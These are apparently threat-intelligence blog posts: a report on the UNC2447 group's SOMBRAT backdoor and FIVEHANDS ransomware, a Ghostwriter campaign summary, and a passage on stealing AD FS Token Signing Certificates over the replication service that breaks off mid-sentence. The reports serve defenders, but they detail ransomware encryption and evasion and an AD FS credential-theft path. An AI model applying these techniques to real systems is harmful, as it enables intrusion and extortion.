(T1587) Digital Certificates (T1587.003) Obtain Capabilities (T1588) Digital Certificates (T1588.004) Initial Access Phishing (T1566) Spearphishing Link (T1566.002) Execution User Execution (T1204) Malicious Link (T1204.001) Command and Scripting Interpreter (T1059) Visual Basic (T1059.005) JavaScript/JScript (T1059.007) Privilege Escalation Process Injection (T1055) Defense Evasion Indicator Removal on Host (T1070) File Deletion (T1070.004) Obfuscated Files or Information (T1027) Process Injection (T1055) Modify Registry (T1112) Discovery System Owner/User Discovery (T1033) Process Discovery (T1057) System Information Discovery (T1082) Account Discovery (T1087) Software Discovery (T1518) Collection Screen Capture (T1113) Archive Collected Data (T1560) Archive via Utility (T1560.001) Command and Control Application Layer Protocol (T1071) Web Protocols (T1071.001) Asymmetric Cryptography (T1573.002) Acknowledgements Thank you to Tyler McLellan, Dominik Weber, Michael Durakovich and Jeremy Kennelly for technical review of this content. In addition, thank you to Nico Paulo Yturriaga and Evan Reese for outstanding signature creation, and Ana Foreman for graphics support.

• UNC2447 SOMBRAT and FIVEHANDS Ransomware: A Sophisticated Financial Threat
by Tyler McLellan on April 29, 2021 at 9:00 pm

Mandiant has observed an aggressive financially motivated group, UNC2447, exploiting one SonicWall VPN zero-day vulnerability prior to a patch being available and deploying sophisticated malware previously reported by other vendors as SOMBRAT. Mandiant has linked the use of SOMBRAT to the deployment of ransomware, which has not been previously reported publicly. UNC2447 monetizes intrusions by extorting their victims first with FIVEHANDS ransomware followed by aggressively applying pressure through threats of media attention and offering victim data for sale on hacker forums. UNC2447 has been observed targeting organizations in Europe and North America and has consistently displayed advanced capabilities to evade detection and minimize post-intrusion forensics. Mandiant has observed evidence of UNC2447 affiliated actors previously using RAGNARLOCKER ransomware. Based on technical and temporal observations of HELLOKITTY and FIVEHANDS deployments, Mandiant suspects that HELLOKITTY may have been used by an overall affiliate program from May 2020 through December 2020, and FIVEHANDS since approximately January 2021. Background In November 2020, Mandiant created UNC2447, an uncategorized group observed using the novel WARPRISM PowerShell dropper to install BEACON at two Mandiant Managed Defense clients. Mandiant Managed Defence quicky neutralized these intrusions and did not observe attempts to deploy ransomware. In January and February 2021, Mandiant Consulting observed a novel rewrite of DEATHRANSOM—dubbed FIVEHANDS—along with SOMBRAT at multiple victims that were extorted. During one of the ransomware intrusions, the same WARPRISM and BEACON samples previously clustered under UNC2447 were observed. Mandiant was able to forensically link the use of WARPRISM, BEACON, SOMBRAT and FIVEHANDS to the same actor. Mandiant suspects that HELLOKITTY activity in late-2020 may be related to the overall affiliate program and that usage shifted to FIVEHANDS ransomware beginning in January 2021. In April 2021, Mandiant observed a private FIVEHANDS TOR chat using a HELLOKITTY favicon (Figure 1). Figure 1: FIVEHANDS Hello Kitty icon When affiliate-based ransomware is observed by Mandiant, uncategorized clusters are assigned based on the infrastructure used, and in the case of UNC2447 were based on the SOMBRAT and Cobalt Strike BEACON infrastructure used across 5 intrusions between November 2020 and February 2021. Generally, Mandiant uses caution even with novel malware such as SOMBRAT and WARPRISM and clusters each use rigorously according to all observed activity. For more information on uncategorized threats, refer to our post, “DebUNCing Attribution: How Mandiant Tracks Uncategorized Threat Actors.” SonicWall SMA 100 Series Appliance Vulnerability CVE-2021-20016 is a critical SQL injection vulnerability that exploits unpatched SonicWall Secure Mobile Access SMA 100 series remote access products. A remote, unauthenticated attacker could submit a specially crafted query in order to exploit the vulnerability. Successful exploitation would grant an attacker the ability to access login credentials (username, password) as well as session information that could then be used to log into a vulnerable unpatched SMA 100 series appliance. This vulnerability only impacted the SMA 100 series and was patched by SonicWall in February 2021. For more information on this vulnerability, please refer to SonicWall PSIRT advisory SNWLID-2021-0001. WARPRISM WARPRISM is a PowerShell dropper that has been observed by Mandiant delivering SUNCRYPT, BEACON, and MIMIKATZ. WARPRISM is used to evade endpoint detection and will load its payload directly into memory. WARPRISM may be used by multiple groups. FOXGRABBER FOXGRABBER is a command line utility used to harvest FireFox credential files from remote systems. It contains the PDB path: C:\Users\kolobko\Source\Repos\grabff\obj\Debug\grabff.pdb. FOXGRABBER has also been observed in DARKSIDE ransomware intrusions. BEACON Malleable Profiles In the initial stages of an intrusion, UNC2447 uses the Cobalt Strike BEACON HTTPSSTAGER implant for persistence to communicate with command-and-control (C2) servers over HTTPS and has been observed using ‘chches_APT10’ and ‘Havex’ Malleable profiles. UNC2447 Toolbox During the recon and exfiltration stage of intrusions, UNC2447 has been observed using the following tools: ADFIND, BLOODHOUND, MIMIKATZ, PCHUNTER, RCLONE, ROUTERSCAN, S3BROWSER, ZAP and 7ZIP. UNC2447 may tamper with windows security settings, firewall rules, and antivirus protection. SOMBRAT Overview SOMBRAT was first reported by Blackberry Cylance in November 2020 as “The CostaRicto Campaign: Cyber-Espionage Outsourced” as a potential espionage-for-hire criminal group. Mandiant has now observed SOMBRAT alongside FIVEHANDS ransomware intrusions. The SOMBRAT backdoor is packaged as a 64-bit Windows executable. It communicates with a configurable command and control (C2) server via multiple protocols, including DNS, TLS-encrypted TCP, and potentially WebSockets. Although the backdoor supports dozens of commands, most of them enable the operator to manipulate an encrypted storage file and reconfigure the implant. The backdoor’s primary purpose is to download and execute plugins provided via the C2 server. In contrast to the SOMBRAT version published in November 2020, Mandiant observed additional obfuscation and armoring to evade detection, this SOMBRAT variant has been hardened to discourage analysis. Program metadata typically included by the compiler has been stripped and strings have been inlined and encoded via XOR-based routines. The SOMBRAT Launcher This SOMBRAT backdoor variant must be deployed alongside four additional resources that serve as launchers. They are typically installed to the hardcoded directory path C:\ProgramData\Microsoft.  path: C:\programdata\Microsoft\WwanSvc.bat – launcher for WwanSvc.txt path: C:\programdata\Microsoft\WwanSvc.txt – decoder and launcher for WwanSvc.c path: C:\programdata\Microsoft\WwanSvc.c – decoder and launcher for WwanSvc.b path: C:\programdata\Microsoft\WwanSvc.a – XOR key path: C:\programdata\Microsoft\WwanSvc.b – encoded SOMBRAT backdoor path: %TEMP%\<possibly unique random name> – encrypted storage file path: %TEMP%\<possibly unique random name _<integer> – encrypted storage file path: C:\ProgramData\<possibly unique random name  – encrypted configuration file Other variations of the filenames were observed such as ntuser and wapsvc. SOMBRAT Technical Details The SOMBRAT backdoor is written in modern C++ and implemented as a collection of “plugins” that interoperate with one another. There are five plugins distributed with this variant: core, network, storage, taskman, and debug (the config plugin described by Blackberry is not present). The core plugins communicate with the C2 server via messages sent over a common networking layer; each plugin supports its own set of messages, and the backdoor protocol can be extended by dynamically loaded plugins. The core plugin coordinates state tracking, such as network connectivity, and dynamic plugin loading and unloading. The network plugin configures the networking layer used to communicate with the C2 server, for example enabling the operator to switch between DNS and TCP protocols. The storage plugin exposes logical operations, such as read and write, for an encrypted file used to store plugins, resources, and arbitrary data. The taskman plugin enables the operator to list and kill processes on the compromised system. Finally, the debuglog plugin supports a single command to records debug messages. Given that the core plugins do not enable an operator directly execute arbitrary commands or reconfigure the system, the primary function of the SOMBRAT backdoor is to load plugins provided via the C2 server. These plugins may be shellcode or DLL modules to be dynamically loaded. The C2 server may instruct the backdoor to load the plugins directly or persist them into the encrypted storage file, where they may subsequently be reloaded, such as after upgrading the backdoor. Figure 2: Malware author mark “No one is perfect except me.” SOMBRAT evades forensic analysis by patching the process memory used to record command line arguments. It replaces the initial command line with the base filename of the program executable, removing any arguments. This means that investigators that inspect a process listing via memory forensics will see the innocuous-looking command line powershell.exe rather than references to the uncommon filename such as WwanSvc.c. SOMBRAT Network Communications The SOMBRAT backdoor can communicate with its C2 server using both DNS and a proxy-aware, TLS-encrypted stream protocol. By default, the backdoor uses the DNS protocol; however, this can be reconfigured by the C2 server. Mandiant observed the domains feticost[.]com and celomito[.]com used for DNS C2 communications. When the backdoor communicates via its DNS protocol, it constructs and resolves FQDNs, interpreting the DNS results to extract C2 messages. The authoritative DNS server embeds data within the IP address field of DNS A record results and within the Name Administrator field of DNS TEXT record results. By making many requests to unique subdomains of the C2 domain, the backdoor can slowly transmit information a few bytes at a time. Ransomware Similarities Beginning in October 2020, Mandiant observed samples of a customized version of DEATHRANSOM. This newly modified version removed the language check feature (Figure 3 shows the language check of DEATHRANSOM). Figure 3: Language check from Fortinet blog HELLOKITTY ransomware—used to target Polish video game developer CD Projekt Red—is reportedly built from DEATHRANSOM.HELLOKITTY is named after a mutex named ‘HELLOKITTYMutex,’ used when the malware executable is launched (see Figure 4). Figure 4: HELLOKITTY mutex shown in Process Explorer CEMIG (Companhia Energética de Minas Gerais), a Brazilian electric power company, revealed on Facebook in late December 2020 that it was a victim of HELLOKITTY cyber attack. In January 2021, Mandiant observed a new ransomware deployed against a victim and assigned the name FIVEHANDS. Analysis of FIVEHANDS revealed high similarity to DEATHRANSOM, sharing several features, functions, and coding similarities. Absent in FIVEHANDS is a language check, similar to HELLOKITTY Both DEATHRANSOM and FIVEHANDS drops a ransom note in all non-excluded directories Technical Comparison of FIVEHANDS, HELLOKITTY and DEATHRANSOM DEATHRANSOM is written in C while the other two families are written in C++. DEATHRANSOM uses a distinct series of do/while loops to enumerate through network resources, logical drives, and directories. It also uses QueueUserWorkItem to implement thread pooling for its file encryption threads. HELLOKITTY is written in C++, but reimplements a significant portion of DEATHRANSOM’s functionality using similar loop operations and thread pooling via QueueUserWorkItem. The code structure to enumerate network resources, logical drives, and perform file encryption is very similar. Additionally, HELLOKITTY and DEATHRANSOM share very similar functions to check for the completion status of their encryption threads before exiting. FIVEHANDS is written in C++ and although high level functionality is similar, the function calls and code structure to implement the majority of the functionality is written differently. Also, instead of executing threads using QueueUserWorkItem, FIVEHANDS uses IoCompletionPorts to more efficiently manage its encryption threads. FIVEHANDS also uses more functionality from the C++ standard template library (STL) than does HELLOKITTY. Deletion of Volume Shadow Copies DEATHRANSOM, HELLOKITTY, and FIVEHANDS use the same code to delete volume shadow copies via WMI by performing the query select * from Win32_ShadowCopy and then deleting each instance returned by its id. Encryption Operations Each of these three malware families utilizes a similar encryption scheme. An asymmetric public key is either hard-coded or generated. A unique symmetric key is generated for each encrypted file. After each file is encrypted, the asymmetric key will encrypt the symmetric key and append it to the encrypted file. Additionally, a unique four byte magic value is appended to the end of the encrypted file. The malware checks for these magic bytes to ensure it does not encrypt a previously encrypted file again. DEATHRANSOM and HELLOKITTY implement the file encryption operations using a very similar code structure and flow. FIVEHANDS implements its file encryption with a differing code structure and uses different embedded encryption libraries. In addition to the symmetric key, HELLOKITTY and FIVEHANDS also encrypts file metadata with the public key and appends this to the encrypted file. DEATHRANSOM generates an RSA key pair while HELLOKITTY and FIVEHANDS use an embedded RSA or NTRU public key. DEATHRANSOM Encryption DEATHRANSOM creates an RSA-2048 public and private key pair. Using an Elliptic-curve Diffie–Hellman (ECDH) routine implemented with Curve25519, it computes a shared secret using two input values: 1) 32 random bytes from a RtlGenRandom call and 2) a hardcoded 32 byte value (attacker’s public key). It also create a Curve25519 public key. The shared secret is SHA256 hashed and used as the key to Salsa20 encrypt the RSA public and private keys. The RSA public key is used to encrypt the individual symmetric keys that are used to encrypt each file. A Base64 encoded version of the encrypted RSA keys and the victim’s Curve25519 public key is included in the ransom note, providing the threat actors the information needed to decrypt the victim’s files. For the symmetric key, DEATHRANSOM calls RtlGenRandom to generate 32 random bytes. This is the 32 byte key used to AES encrypt each file. After the file is encrypted, the AES key is encrypted with the public RSA key and appended to the file. DEATHRANSOM lastly appends the four magic bytes of AB CD EF AB at the end of the encrypted file and uses this as a check to ensure that it does not encrypt an already encrypted file. The analyzed DEATHRANSOM sample used for comparison does not change the file extension. HELLOKITTY Encryption HELLOKITTY contains an embedded RSA-2048 public key. This public key is SHA256 hashed and used as the victim ID within the ransom note. This RSA pubic key is also used to encrypt each file’s symmetric key. For the symmetric key, HelloKitty generates a 32 byte seed value based on the CPU timestamp. A Salsa20 key is generated and encrypts a second 32 byte seed value. The encrypted result is XOR’d with the first seed, resulting in a 32 byte key used to AES encrypt each file. After each file is encrypted, the original file size, magic value of DE C0 AD BA, and AES key are encrypted with the public RSA key and appended to the file. HELLOKITTY and FIVEHANDS appends this additional metadata to the encrypted file, while DEATHRANSOM does not. Lastly it appends the four magic bytes DA DC CC AB to the end of the encrypted file. Depending on the version, HELLOKITTY may or may not change the file extension. Other samples of HELLOKITTY have used an embedded NTRU public key instead of RSA. FIVEHANDS Encryption FIVEHANDS uses an embedded NTRU public key. This NTRU key is SHA512 hashed and the first 32 bytes are used as the victim ID within the ransom note. This NTRU pubic key is also used to encrypt each file’s symmetric key. For the symmetric key, FIVEHANDS uses an embedded generation routine to produce 16 random bytes used for an AES key to encrypt each file. After each file is encrypted, the original file size, magic value of DE C0 AD BA, and AES key are encrypted with the public NTRU key and appended to the file. The four magic bytes DB DC CC AB are appended to the end of the encrypted file. FIVEHANDS includes additional code not found in DEATHRANSOM and HELLOKITTY to use the Windows Restart Manager to close a file currently in use so that it can be unlocked and successfully encrypted. The encrypted file extension is changed to .crypt  extension FIVEHANDS’s encryption flow and sequence is very different from the other two, partially because it incorporates asynchronous I/O requests and uses different embedded encryption libraries. FIVEHANDS Encrypted Dropper One significant change between DEATHRANSOM and FIVEHANDS is the use of a memory-only dropper, which upon execution, expects a command line switch of -key followed by the key value necessary to perform decryption of its payload. The payload is stored and encrypted with AES-128 using an IV of “85471kayecaxaubv”. The decrypted FIVEHANDS payload is immediately executed after decryption. To date, Mandiant has only observed encrypted droppers with a common imphash of 8517cf209c905e801241690648f36a97. CLI arguments FIVEHANDS can receive a CLI argument for a path, this limits the ransomware’s file encryption activities to the specified directory. DEATHRANSOM and HELLOKITTY do not accept CLI arguments. Locale and Mutex checks DEATHRANSOM performs language ID and keyboard layout checks. If either of these match Russian, Kazakh, Belarusian, Ukrainian or Tatar it exits. Neither HELLOKITTY or FIVEHANDS perform language ID or keyboard checks. HELLOKITTY performs a mutex check while the other two do not perform mutex checks. File Exclusions DEATHRANSOM and HELLOKITTY both exclude the same directories and files: programdata, $recycle.bin, program files, windows, all users, appdata, read_me.txt, autoexec.bat, desktop.ini, autorun.inf, ntuser.dat, iconcache.db, bootsect.bak, boot.ini, ntuser.dat.log, or thumbs.db. The exclusions for FIVEHANDS are more extensive and contain additional files and directories to ignore. Additional Differences DEATHRANSOM makes an external HTTPS connection to download a file. Neither HELLOKITTY or FIVEHANDS initiate network connections. HELLOKITTY contains code to set the victims wallpaper to a ransom related image. The other samples do not have this functionality Different versions of DEATHRANSOM and HELLOKITTY are known to change the file extension Different versions of HELLOKITTY are known to check for specific processes to terminate. Feature FIVEHANDS HELLOKITTY DEATHRANSOM Programming Language C++ C++ C Symmetric Encryption AES 128 AES 256 AES 256 Asymmetric Encryption Embedded NTRU Key Embedded RSA or NTRU Key Curve25519 ECDH and RSA key creation Same directory and file name exclusions No Yes Yes Accepts CLI Arguments Yes No No Network Connections No No Yes Locale Check No No Yes Mutex Check No Yes No Bytes Appended to Encrypted Files DB DC CC AB DA DC CC AB AB CD EF AB Table 1: Ransomware feature comparison Conclusion Mandiant observed SOMBRAT and FIVEHANDS ransomware by the same group since January 2021. While similarities between HELLOKITTY and FIVEHANDS are notable, ransomware may be used by different groups through underground affiliate programs. Mandiant will assign an uncategorized cluster based on multiple factors including infrastructure used during intrusions and as such, not all SOMBRAT or FIVEHANDS ransomware intrusions may have been conducted by UNC2447. WARPRISM and FOXGRABBER have been used in SUNCRYPT and DARKSIDE ransomware demonstrating additional complexity and sharing between different ransomware affiliate programs. Indicators SOMBRAT UNC2447 87c78d62fd35bb25e34abb8f4caace4a 6382d48fae675084d30ccb69b4664cbb (31dcd09eb9fa2050aadc0e6ca05957bf unxored) SOMBRAT Launcher cf1b9284d239928cce1839ea8919a7af (wwansvc.a XOR key) 4aa3eab3f657498f52757dc46b8d1f11 (wwansvc.c) 1f6495ea7606a15daa79be93070159a8 (wwansvc.bat) 31dcd09eb9fa2050aadc0e6ca05957bf (wwansvc.b) edf567bd19d09b0bab4a8d068af15572 (wwansvc.b) a5b26931a1519e9ceda04b4c997bb01f (wwansvc.txt) f0751bef4804fadfe2b993bf25791c49 (4aa3eab3f657498f52757dc46b8d1f11 unxored) 87c78d62fd35bb25e34abb8f4caace4a (edf567bd19d09b0bab4a8d068af15572 unxored) SOMBRAT domains Celomito[.]com (unc2447) Feticost[.]com (unc2447) Cosarm[.]com Portalcos[.]com FIVEHANDS 39ea2394a6e6c39c5d7722dc996daf05 f568229e696c0e82abb35ec73d162d5e FIVEHANDS Encrypted Dropper 6c849920155f48d4b4aafce0fc49eb5b 22d35005e926fe29379cb07b810a6075 57824214710bc0cdb22463571a72afd0 87c0b190e3b4ab9214e10a2d1c182153 1b0b9e4cddcbcb02affe9c8124855e58 46ecc24ef6d20f3eaf71ff37610d57d1 1a79b6d169aac719c9323bc3ee4a8361 a64d79eba40229ae9aaebbd73938b985 HELLOKITTY 136bd70f7aa98f52861879d7dca03cf2 06ce6cd8bde756265f95fcf4eecadbe9 af568e8a6060812f040f0cb0fd6f5a7b d96adf82f061b1a6c80699364a1e3208 DEATHRANSOM c50ab1df254c185506ab892dc5c8e24b WARPRISM c925822c6d5175c30ba96388b07e9e16 (unc2447) c171bcd34151cbcd48edbce13796e0ed d87fcd8d2bf450b0056a151e9a116f72 f739977004981fbe4a54bc68be18ea79 e18b27f75c95b4d50bfcbcd00a5bd6c5 df6e6b3e53cc713276a03cce8361ae0f 1cd03c0d00f7bfa7ca73f7d73677d8f8 8071f66d64395911a7aa0d2057b9b00d c12a96e9c50db5f8b0b3b5f9f3f134f0 e39184eacba2b05aaa529547abf41d2b 09a05a2212bd2c0fe0e2881401fbff17 8226d7615532f32eca8c04ac0d41a9fd a01a2ba3ae9f50a5aa8a5e3492891082 29e53b32d5b4aae6d9a3b3c81648653c a809068b052bc209d0ab13f6c5c8b4e7 BEACON UNC2447 64.227.24[.]12 Havex Profile January 2021 157.230.184[.]142 chches_ APT10 Profile November 2020-January 2021 74c688a22822b2ab8f18eafad2271cac 7d6e57cbc112ebd3d3c95d3c73451a38 FOXGRABBER 4d3d3919dda002511e03310c49b7b47f FireEye Detections FireEye Network Security FireEye Email Security FireEye Detection On Demand FireEye Malware Analysis FireEye Malware File Protect FIVEHANDS FE_Loader_Win32_Generic_162 FE_Ransomware_Win32_FIVEHANDS_1 Malware.Binary.exe Ransomware.Win.Generic.MVX SOMBRAT FE_Backdoor_Win64_SOMBRAT_1 Backdoor.Win.SOMBRAT Malware.Binary.exe Backdoor.Win.SOMBRAT.MVX FEC_Trojan_PS1_Generic_7 FEC_Trojan_PS1_Generic_8 FEC_Trojan_BAT_Generic_5 HELLOKITTY Ransomware.Win.Generic.MVX Malware.Binary.exe Ransomware.Win.HELLOKITTY.MVX FE_Ransomware_Win_HELLOKITTY_1 FE_Ransomware_Win32_HELLOKITTY_1 DEATHRANSOM FE_Loader_Win32_Generic_92 Ransomware.Win.Generic.MVX Malware.Binary.exe BEACON FE_Loader_Win32_BLUESPINE_1 Backdoor.BEACON Malware.Binary.exe WARPRISM FE_Loader_PS1_WARPRISM_1 FEC_Loader_PS1_WARPRISM_1 Backdoor.BEACON Trojan.Generic Trojan.Win.SYSTEMBC Backdoor.Meterpreter Loader.PS1.WARPRISM.MVX Malware.Binary.exe Malware.Binary.ps1 FOXGRABBER FE_Tool_MSIL_FOXGRABBER_1 FE_Trojan_MSIL_Generic_109 FireEye EndPoint Security Real-Time (IOC) SOMBRAT (BACKDOOR) SUSPICIOUS POWERSHELL READ BASE64 DATA (METHODOLOGY) FIVEHANDS RANSOMWARE (FAMILY) DEATHRANSOM RANSOMWARE (FAMILY) HELLOKITTY RANSOMWARE (FAMILY) BEACON (FAMILY) Malware Protection (AV/MG) SOMBRAT Generic.mg. 87c78d62fd35bb25 Generic.mg.6382d48fae675084 Trojan.GenericKD.45750384 Trojan.GenericKD.36367848 Generic.PwShell.RefA.CB5E962A FIVEHANDSGeneric.mg.39ea2394a6e6c39c Generic.mg.f568229e696c0e82 Generic.mg.6c849920155f48d4 Generic.mg.22d35005e926fe29 Generic.mg.57824214710bc0cd Generic.mg.87c0b190e3b4ab92 Generic.mg.1b0b9e4cddcbcb02 Generic.mg.46ecc24ef6d20f3e Generic.mg.1a79b6d169aac719 Generic.mg.a64d79eba40229ae Gen:Variant.Zusy.375932 Gen:Variant.Zusy.366866 Trojan.GenericKD.46059492 Trojan.GenericKD.46059131 Trojan.GenericKD.45996121 Trojan.GenericKD.45702783 WARPRISM Generic.mg.a01a2ba3ae9f50a5 Trojan.PowerShell.Agent.IJ Trojan.Agent.EXDR Trojan.PowerShell.Ransom.E Trojan.Agent.EUKPTrojan.GenericKD.45856129 Heur.BZC.PZQ.Boxter.829.B5AEB7A6 Heur.BZC.PZQ.Boxter.829.B84D01A7 Heur.BZC.PZQ.Boxter.829.AE76D25C Trojan.PowerShell.Ransom.F Dropped:Heur.BZC.MNT.Boxter.826.0A2B3A87 Heur.BZC.PZQ.Boxter.829.A15701BD DEATHRANSOMGeneric.mg.c50ab1df254c1855 Trojan.Ransomware.GenericKD.35760206 HELLOKITTYGeneric.mg.136bd70f7aa98f52 Generic.mg.06ce6cd8bde75626 Generic.mg.af568e8a6060812f Generic.mg.d96adf82f061b1a6 Generic.Malware.PfVPk!12.299C21F3 Gen:Variant.Ransom.HelloKitty.1 Generic.Malware.PfVPk!12.606CCA24 Generic.Malware.PfVPk!12.1454636C BEACONGeneric.mg.74c688a22822b2ab Generic.mg.7d6e57cbc112ebd3 Trojan.Agent.DDSN MITRE ATT&CK Tactic Description Initial Access T1078 Valid Accounts Execution T1047 Windows Management Instrumentation T1053.005 Scheduled Task / Job: Scheduled Task T1059.001 Command and Scripting Interpreter: PowerShell T1106 Execution through API Defense Evasion T1045 Software Packing T1055 Process Injection T1140 Deobfuscate / Decode Files or Information Discovery T1012 Query Registry T1046 Network Service Scanning T1057 Process Discovery T1082 System Information Discovery T1124 System Time Discovery T1135 Network Share Discovery Collection T1560.003 Archive Collected Data: Archive via Custom Method Impact T1485 Data Destruction T1486 Data Encrypted for Impact T1490 Inhibit System Recovery Command and Control T1071.001 Application Layer Protocol: Web Protocols T1090.002 Proxy: External Proxy T1572 Protocol Tunneling T1573.002 Encrypted Channel: Asymmetric Cryptography Exfiltration T1041 Exfiltration over C2 Channel Acknowledgements Thanks to Nick Richard for technical review, Genevieve Stark and Kimberly Goody for analytical contributions, and Jon Erickson, Jonathan Lepore, and Stephen Eckels for analysis incorporated into this blog post. • Ghostwriter Update: Cyber Espionage Group UNC1151 Likely Conducts Ghostwriter Influence Activity by Lee Foster on April 28, 2021 at 10:00 am In July 2020, Mandiant Threat Intelligence released a public report detailing an ongoing influence campaign we named “Ghostwriter.” Ghostwriter is a cyber-enabled influence campaign which primarily targets audiences in Lithuania, Latvia and Poland and promotes narratives critical of the North Atlantic Treaty Organization’s (NATO) presence in Eastern Europe. Since releasing our public report, we have continued to investigate and report on Ghostwriter activity to Mandiant Intelligence customers. We tracked new incidents as they happened and identified activity extending back years before we formally identified the campaign in 2020. A new report by our Information Operations analysis, Cyber Espionage analysis, and Mandiant Research teams provides an update on Ghostwriter, highlighting two significant developments. We have observed an expansion of narratives, targeting and TTPs associated with Ghostwriter activity since we released our July 2020 report. For example, several recent operations have heavily leveraged the compromised social media accounts of Polish officials on the political right to publish content seemingly intended to create domestic political disruption in Poland rather than foment distrust of NATO. These operations, conducted in Polish and English, appear to have largely not relied on the dissemination vectors we have typically observed with previous Ghostwriter activity, such as website compromises, spoofed emails or posts from inauthentic personas. We have observed no evidence that these social media platforms were themselves in any way compromised, and instead believe account credentials were obtained using the compromised email accounts of targeted individuals. Recently obtained technical evidence now allows us to assess with high confidence that UNC1151, a suspected state-sponsored cyber espionage actor that engages in credential harvesting and malware campaigns, conducts at least some components of Ghostwriter influence activity; current intelligence gaps, including gaps pertaining to website compromises and the operation of false personas, do not allow us to conclusively attribute all aspects of the Ghostwriter campaign to UNC1151 at this time. We do not associate UNC1151 with any other previously tracked threat groups. Since the start of 2021, UNC1151 has expanded its credential theft activity to target German politicians. This targeting has been publicly reported in the German Tagesschau. The appendices of the report include an exhaustive table of incidents and operations we currently associate with Ghostwriter activity, a detailed case study of a recent Ghostwriter operation, and indicators of compromise (IOCs) related to UNC1151. Read the report today to learn more. • Abusing Replication: Stealing AD FS Secrets Over the Network by Douglas Bienstock on April 27, 2021 at 5:00 pm Organizations are increasingly adopting cloud-based services such as Microsoft 365 to host applications and data. Sophisticated threat actors are catching on and Mandiant has observed an increased focus on long-term persistent access to Microsoft 365 as one of their primary objectives. The focus on developing novel and hard to detect methods to achieve this goal was highlighted with the recent detection of UNC2452 and their access to Microsoft 365. One of this group’s key TTPs was to steal the Token Signing Certificate from an organization’s AD FS server to enable them to bypass MFA and access cloud services as any user, at any time. While defenders previously associated the defense of this certificate, and thus the entire ecosystem, with careful access control and detection efforts around the AD FS server and service account, this is no longer sufficient. In this blog post we will show how a threat actor, with the right privilege, can extract the encrypted Token Signing Certificate from anywhere on the internal network. Once extracted, a threat actor can easily decrypt it and begin accessing cloud services. Active Directory Federation Services Active Directory Federation Services (AD FS) is a feature for Windows Servers that enables federated identity and access management. It is often used by organizations to provide single sign-on functionality to access enterprise applications such as Microsoft 365. In technical terms, AD FS functions as an Identity Provider (IdP) and Microsoft 365 is a Service Provider (SP). We’ll use Microsoft 365 as an example going forward, but this technique could apply to any service that is set up to trust AD FS. AD FS verifies a user’s identity and issues assertions that describe the user. Microsoft 365 trusts AD FS to verify user identities and provide it with assertions. To Microsoft 365, it doesn’t matter how AD FS performed the verification, it just needs the assertions. In the typical deployment (Figure 1), AD FS will verify a user’s identity using Active Directory. At a minimum, an AD FS deployment consists of two servers in an enterprise’s on-premises network: the primary AD FS server, and an AD FS Web Application Proxy (WAP). The proxy is placed in the DMZ and has no functionality besides proxying sign-on attempts from the Internet to the AD FS server. The primary AD FS server receives proxied requests, verifies a user’s identity, and issues assertions that are packaged into SAML security tokens for the user. Figure 1: Typical AD FS deployment (source: Microsoft) The SAML token issued by AD FS proves a user’s identity to Microsoft 365 and can also be used to make authorization decisions. The SAML token is an XML document with two main components: Assertions: Assertions are XML elements that describe the user’s identity. An assertion could be a user SID, group membership SIDs, or other elements like the user’s department name. A single SAML token can have multiple assertions attached to it. Digital Signature: The assertions in the SAML token are digitally signed using a public/private keypair that resides on the AD FS server. This is called the Token Signing Certificate. The Token Signing Certificate is the bedrock of security in AD FS. Microsoft 365 uses the digital signature to validate that the SAML token is authentic, valid, and comes from an AD FS server that it trusts. To enable this verification, an administrator shares the public component of the Token Signing Certificate with Microsoft 365. This is then used to cryptographically verify the digital signature in the SAML token and prove authenticity as well as integrity of the token. In other words, if a threat actor got hold of a Token Signing Certificate, they could generate arbitrary SAML tokens to access any federated application, as any user, and even bypass MFA. Golden SAML Golden SAML was coined in 2017 by CyberArk to describe the technique of forging SAML tokens to access SPs given a valid Token Signing Certificate. At TROOPERS 19, I detailed how a threat actor could extract the Token Signing Certificate from an AD FS server, as well as some mitigation strategies for defenders. In a default AD FS configuration, the Token Signing Certificate is stored within a Windows Internal Database (WID) instance that is running on the AD FS server. WID is more or less MS SQL Express, except the database can only be accessed locally over a special named pipe connection. In AD FS, the database is further locked down to only the AD FS service account. The Token Signing Certificate is stored in an encrypted state in the IdentityServerPolicy.ServiceStateSummary table. Figure 2 contains a single row with a column that stores all the settings that AD FS will need on service start as an XML document. <SigningToken> <IsChainIncluded>false</IsChainIncluded> <IsChainIncludedSpecified>false</IsChainIncludedSpecified> <FindValue>99FABAEE46A09CD9B34B9510AB10E2B0C0ACB99B</FindValue> <RawCertificate></RawCertificate> <EncryptedPfx></EncryptedPfx> <StoreNameValue>My</StoreNameValue> <StoreLocationValue>CurrentUser</StoreLocationValue> <X509FindTypeValue>FindByThumbprint</X509FindTypeValue> </SigningToken> Figure 2: Example Token Signing Certificate stored in the AD FS database The Token Signing Certificate as it is stored in the AD FS database is encrypted using symmetric key encryption. Windows uses a technology called Distributed Key Management (DKM) to store the secret value used to derive the symmetric key in an Active Directory container. The AD FS service account can read the attributes of this container, derive the symmetric key, and then decrypt the Token Signing Certificate. AD FS Replication AD FS also supports a farm configuration for high availability and load balancing in larger enterprise networks. The individual AD FS servers in a farm can be configured to use unique Token Signing Certificates; however, the default is to have the servers share the same Token Signing Certificate. In order to stay in sync with each other, the farm will have a primary node and secondary nodes. The secondary nodes make use of a replication service to acquire configuration settings and certificates from the primary AD FS server. To facilitate this, AD FS makes use of Windows Communication Foundation (WCF). WCF is a framework that allows developers to build service-oriented applications. A WCF application has two components: the service that will receive and process messages, and the client that sends messages to a service and receives back responses. The AD FS servers run a WCF service that is called the Policy Store Transfer Service internally. To send a message to this service, the client will connect to the URL http://<adfs server name>:80/adfs/services/policystoretransfer. Note that even though the channel is over HTTP, the actual data being exchanged is encrypted during transit. It is also key to understand that although there is a single primary AD FS server, all nodes in an AD FS farm run this WCF service and can be used for replication. Upon receipt of a message, the WCF service enforces an authorization check to ensure the calling identity is permitted to receive the requested information. The permission check is done by evaluating an authorization policy that is also stored in the IdentityServerPolicy.ServiceStateSummary table of the AD FS database. The policy permits identities whose primary SID matches the AD FS Service account or to any identity that is member of the AD FS server’s local administrators group. If the identity of the client passes the authorization check, then the WCF service will send back a message containing the requested information. <AuthorizationPolicy> @RuleName = “Permit Service Account”exists([Type == “http://schemas.microsoft.com/ws/2008/06/identity/claims/ primarysid”, Value == “S-1-5-21-3508695881-2242692613 -376241919-1107”]) => issue(Type = “http://schemas .microsoft.com/authorization/claims/permit”, Value = “ true”); @RuleName = “Permit Local Administrators”exists([Type == “http://schemas.microsoft.com/ws/2008/06/identity/claims/group sid”, Value == “S-1-5-32-544”])=> issue(Type = &quot ;http://schemas.microsoft.com/authorization/claims/permit”, Value = “true”); </AuthorizationPolicy> Figure 3: Default Authorization Policy for AD FS server Room for Abuse A threat actor can abuse the Policy Store 